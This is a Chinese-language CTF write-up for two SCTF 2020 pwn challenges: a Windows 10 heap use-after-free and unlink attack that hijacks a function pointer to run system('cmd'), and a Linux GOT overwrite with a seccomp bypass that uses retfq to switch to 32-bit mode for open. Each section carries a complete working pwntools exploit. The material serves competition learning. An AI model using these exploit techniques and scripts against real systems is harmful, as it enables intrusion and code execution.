SCTF 2020 PWN

跟着队伍参加了这次SCTF,做了两个PWN,分别是linux和win平台下的堆利用题目(linux考察的是shellcode),运气好抢到了一个一血(不过貌似不是前5个一血,没有书恰,难顶。)

EasyWinHeap

在看到这道题之前其实对win平台下的pwn利用几乎没有任何了解,所以能做出这道题多多少少沾点运气,就简单说一下我的思路吧,下面推荐了当时做题时候看的学习资料(师傅们tql),来说明其中原理。在代码审计过程发现程序存在uaf和堆溢出,而且结合程序中在堆里面申请了一个0x80的空间用来存放堆指针和程序的功能函数指针puts,可以想到如果我们能劫持这个堆块,覆盖掉puts函数指针就可以任意函数调用,而且参数也可控制。在简单的学习了windows heap结构,发现有一个unlink的操作似乎我们可以利用,我们可以修改破坏free chunk的链表环状结构,制造一个我们的链表,从而当unlink时就可以修改其他堆块中的内容,因为有uaf我们可以泄露free chunk的内容得到堆地址,经过在od中简单调试,果然可以直接劫持开头的0x80的堆块,这样就可以肆无忌惮的任意读写内容。
之后的任务就顺利成章,先是泄露puts iat表的内容可以得到puts的真实地址,然后通过计算得到dll文件的加载基址,就可以得到system地址了。

推荐两个比较好的win10 heap exploitation学习:
angelboy师傅的:https://www.slideshare.net/AngelBoy1/windows-10-nt-heap-exploitation-chinese-version
kirin师傅的:https://kirin-say.top/2020/01/01/Heap-in-Windows/

完整EXP(需要在堆地址为4字节时在可以打通):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
#context.log_level = 'debug'
p = remote("47.94.245.208", 23333)

def add(size):
p.sendlineafter("option >\r\n", '1')
p.sendlineafter("size >\r\n", str(size))
def show(idx):
p.sendlineafter("option >\r\n", '3')
p.sendlineafter("index >\r\n", str(idx))
def free(idx):
p.sendlineafter("option >\r\n", '2')
p.sendlineafter("index >\r\n", str(idx))
def edit(idx, content):
p.sendlineafter("option >\r\n", '4')
p.sendlineafter("index >\r\n", str(idx))
p.sendlineafter("content >\r\n", content)
def exp():
for i in range(6):
add(32)
free(2)
free(4)
show(2)
heap_addr = u32(p.recvuntil("\r", drop=True)[:4])
log.info("heap_addr ==> " + hex(heap_addr))
edit(2, p32(heap_addr-0xd8)+p32(heap_addr-0xd4))
free(1)
show(2)
p.recv(4)
image_base = u32(p.recv(4))-0x1043
log.info("image_base ==> " + hex(image_base))
puts_iat = image_base + 0x20c4
log.info("puts_iat ==> " + hex(puts_iat))
edit(2, p32(puts_iat)+p32(image_base+0x1040)+p32(heap_addr-0xe8))
show(2)
ucrtbase = u32(p.recv(4))-0xb89f0
log.info("ucrtbase ==> " + hex(ucrtbase))
system = ucrtbase+0xefda0
edit(0, 'cmd\x00')
edit(3, p32(system)+p32(heap_addr-0x60))
show(0)
p.interactive()
if __name__ == '__main__':
exp()

coolcode

漏洞点

漏洞点很好找,在申请堆块的函数中,对数组下标错误的使用了有符号数,导致如果我们输入负数也可以满足v1 <= 1这样的检测,而在数组上方保存了例如stdin\stdout\stderr、got表等这样的可利用信息,最开始我的想法是覆盖stdin然后通过劫持IOFILE结构体实现ROP,经队友提醒,这个程序并没有开启FULL RELRO所以got表可写,这样其实我们可以直接劫持got表。
程序在我们输入信息中加入了check,限制了输入的字符(只能是大写字母和数字),如果不符合便执行exit(),这很大程度影响了我们的shellcode编写,不过我们只需要将exit_got改成ret就可以绕过,程序中heap和一段bss是rwx权限,我们可以任意在其中编写shellcode,然后通过劫持got表进行调用,可以用的函数有很多,我这里采用了free()

沙箱绕过

程序中运用了prctl来限制了我们能使用的系统调用:

1
2
3
4
5
6
7
8
9
10
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0006
0002: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0006
0003: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0006
0004: 0x15 0x01 0x00 0x00000005 if (A == fstat) goto 0006
0005: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

可以看到这里面只允许了部分系统调用通过,因为没有open,我们无法使用常规的orw读取flag,但是其实只要查询系统调用号表,就可发现fstat这个函数对应的系统调用号5,其实就是32位程序中open的系统调用号,而汇编中存在一条指令retfq可以供我们切换到32位指令模式,其原理是一个cs寄存器,cs=0x23时表示32位模式,cs=0x33时表示64位模式,我们只需要在进行retfq时保证此时rsp=shellcode地址,rsp+8=0x23/0x33,就可以在我们想要的模式下执行shellcode。
这道题我们的思路就很清晰:因为程序限定了读取字节长度,为了方便一次性执行shellcode,我们先写入read将后面shellcode写入到bss段并执行。shellcode的内容:首先切换32位模式执行open()然后切换回64位执行read()、write()即可读取到flag

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.os = 'linux'
prog = './CoolCode'
#p = process(prog)
p = remote("39.107.119.192 ", 9999)
def add(idx, content):
p.sendlineafter("choice :", '1')
p.sendlineafter("Index: ", str(idx))
p.sendafter("messages: ", content)
def show(idx):
p.sendlineafter("choice :", '2')
p.sendlineafter("Index: ", str(idx))
def free(idx):
p.sendlineafter("choice :", '3')
p.sendlineafter("Index: ", str(idx))
def exp():
read = '''
xor eax, eax
mov edi, eax
push 0x60
pop rdx
mov esi, 0x1010101
xor esi, 0x1612601
syscall
mov esp, esi
retfq
'''
open_x86 = '''
mov esp, 0x602770
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
'''
readflag = '''
push 0x33
push 0x60272e
retfq
mov rdi,0x3
mov rsi,rsp
mov rdx,0x60
xor rax,rax
syscall
mov rdi,1
mov rax,1
syscall
'''
readflag = asm(readflag, arch = 'amd64')
add(-22, '\xc3')
add(-37, asm(read, arch = 'amd64'))
gdb.attach(p)
free(0)
payload = p64(0x602710)+p64(0x23)+asm(open_x86)+readflag
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
exp()
.gt-container a{border-bottom: none;}